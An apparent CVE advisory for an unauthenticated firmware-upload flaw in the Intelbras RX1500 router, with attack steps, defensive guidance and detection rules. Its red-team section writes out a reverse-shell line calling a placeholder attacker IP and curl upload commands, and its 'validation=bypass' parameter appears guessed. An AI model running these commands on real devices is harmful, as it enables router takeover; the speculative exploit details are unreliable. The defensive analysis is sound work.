CVE-2025-50405

Executive Summary

CVE-2025-50405 identifies a critical Incorrect Access Control vulnerability in the Intelbras RX1500 Router, specifically within the FirmwareUpload and GetFirmwareValidation functions. This flaw allows an unauthenticated attacker to upload malicious firmware or bypass validation checks, potentially leading to full device compromise. The vulnerability affects firmware version 2.2.17 and all prior releases. As of this report, no official patch has been released by Intelbras, and no public proof-of-concept (PoC) or exploit code is available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains high due to the potential for remote code execution and persistent backdoor installation.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned)
• Threat Level: Critical (Based on impact analysis)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Rationale: The vulnerability allows an unauthenticated attacker to upload arbitrary firmware, effectively granting full control over the device. This can lead to data exfiltration, network pivoting, and persistent compromise.

Deep Dive & Mechanics

The vulnerability resides in two key functions of the Intelbras RX1500 web interface:

1. FirmwareUpload Function: This function is intended to allow authenticated administrators to upload new firmware images. However, due to incorrect access control, the function does not properly verify the user's session or authentication status before processing the upload. An attacker can send a direct HTTP POST request to the endpoint without any valid session token.

2. GetFirmwareValidation Function: This function is used to validate the integrity of a firmware image before installation. The vulnerability allows an attacker to bypass this validation, potentially by manipulating parameters or exploiting a lack of server-side checks. This means even a malformed or malicious firmware image can be accepted.

Attack Flow:

1. Reconnaissance: The attacker scans for Intelbras RX1500 devices on the network (e.g., using Shodan dorks like Intelbras RX1500).
2. Direct Upload: The attacker crafts a malicious firmware image (e.g., containing a backdoor or rootkit) and sends it to the /cgi-bin/FirmwareUpload endpoint via an HTTP POST request.
3. Bypass Validation: The attacker sends a request to /cgi-bin/GetFirmwareValidation with manipulated parameters to bypass integrity checks.
4. Device Compromise: The router installs the malicious firmware, giving the attacker full control over the device.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# Vulnerable FirmwareUpload function
def firmware_upload(request):
    # No authentication check
    firmware_data = request.files['firmware']
    save_firmware(firmware_data)
    return "Upload successful"

Patched Code (Conceptual):

# Patched FirmwareUpload function
def firmware_upload(request):
    if not is_authenticated(request.session):
        return "Unauthorized", 403
    firmware_data = request.files['firmware']
    if not validate_firmware_signature(firmware_data):
        return "Invalid firmware", 400
    save_firmware(firmware_data)
    return "Upload successful"

Key Differences:

• Authentication Check: The patched version verifies the user's session before processing the upload.
• Firmware Validation: The patched version performs cryptographic signature verification on the firmware image.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Target: Intelbras RX1500 Router (firmware v2.2.17)
2. Attacker Machine: Kali Linux
3. Tools: curl, Burp Suite, custom firmware builder

Exploitation Steps:

1. Identify Target: Use Shodan or Nmap to find vulnerable devices.

   nmap -p 80,443,8080 --open <target_ip>
   

2. Craft Malicious Firmware: Create a firmware image with a reverse shell payload.

   # Example using a simple script (conceptual)
   echo "#!/bin/sh" > payload.sh
   echo "nc -e /bin/sh <attacker_ip> 4444" >> payload.sh
   tar -czf malicious_firmware.bin payload.sh
   

3. Upload Malicious Firmware:

   curl -X POST -F "firmware=@malicious_firmware.bin" http://<target_ip>/cgi-bin/FirmwareUpload
   

4. Bypass Validation:

   curl -X POST -d "validation=bypass" http://<target_ip>/cgi-bin/GetFirmwareValidation
   

5. Trigger Installation: (If required) Send a request to trigger the firmware installation.
6. Receive Shell: Listen for the reverse shell on the attacker machine.

   nc -lvnp 4444
   

Blue Team (Defensive)

Detection & Response:

1. Monitor for Unauthorized Firmware Uploads: Look for HTTP POST requests to /cgi-bin/FirmwareUpload from unknown IP addresses.
2. Check for Validation Bypass Attempts: Monitor requests to /cgi-bin/GetFirmwareValidation with unusual parameters.
3. Network Segmentation: Isolate IoT devices like routers on a separate VLAN to limit lateral movement.
4. Firmware Integrity Monitoring: Implement a system to verify the integrity of the running firmware against known good hashes.
5. Log Analysis: Enable and review router logs for any unexpected changes or reboots.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /cgi-bin/FirmwareUpload from external IPs.
  • HTTP POST requests to /cgi-bin/GetFirmwareValidation with parameters like validation=bypass.
  • Outbound connections from the router to unknown IP addresses on high ports (e.g., 4444).
• File IOCs:
  • Unauthorized firmware files in the router's filesystem.
  • Modified system binaries or scripts.
• Behavioral IOCs:
  • Unexpected router reboots.
  • Changes in DNS settings or routing tables.
  • New user accounts or backdoors.

Detection Engineering

YARA Rule

rule Intelbras_RX1500_FirmwareUpload_Exploit {
    meta:
        description = "Detects attempts to exploit CVE-2025-50405 via FirmwareUpload"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-50405"
    strings:
        $upload_endpoint = "/cgi-bin/FirmwareUpload"
        $validation_endpoint = "/cgi-bin/GetFirmwareValidation"
        $bypass_param = "validation=bypass"
    condition:
        any of ($upload_endpoint, $validation_endpoint) and $bypass_param
}

Sigma Rule

title: Intelbras RX1500 Firmware Upload Exploit
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests targeting the vulnerable FirmwareUpload and GetFirmwareValidation endpoints.
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - "/cgi-bin/FirmwareUpload"
            - "/cgi-bin/GetFirmwareValidation"
    condition: selection
falsepositives:
    - Legitimate firmware updates from authorized administrators
level: high

Suricata Rule

alert http any any -> any any (msg:"Intelbras RX1500 Firmware Upload Exploit"; flow:to_server; content:"POST"; http_method; content:"/cgi-bin/FirmwareUpload"; http_uri; content:"validation=bypass"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate Actions:
  • Disable Remote Management: If not required, disable remote access to the router's web interface.
  • Restrict Access: Use firewall rules to allow access to the router's management interface only from trusted IP addresses.
  • Monitor Logs: Enable and actively monitor router logs for any suspicious activity.
• Long-Term Fix:
  • Vendor Patch: Await an official firmware update from Intelbras that implements proper authentication and validation checks.
  • Device Replacement: If a patch is not forthcoming, consider replacing the router with a more secure model.
• Compensating Controls:
  • Network Segmentation: Place the router on a separate VLAN with strict access controls.
  • Web Application Firewall (WAF): Deploy a WAF in front of the router to block malicious requests.
  • Intrusion Prevention System (IPS): Use an IPS to detect and block exploit attempts.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert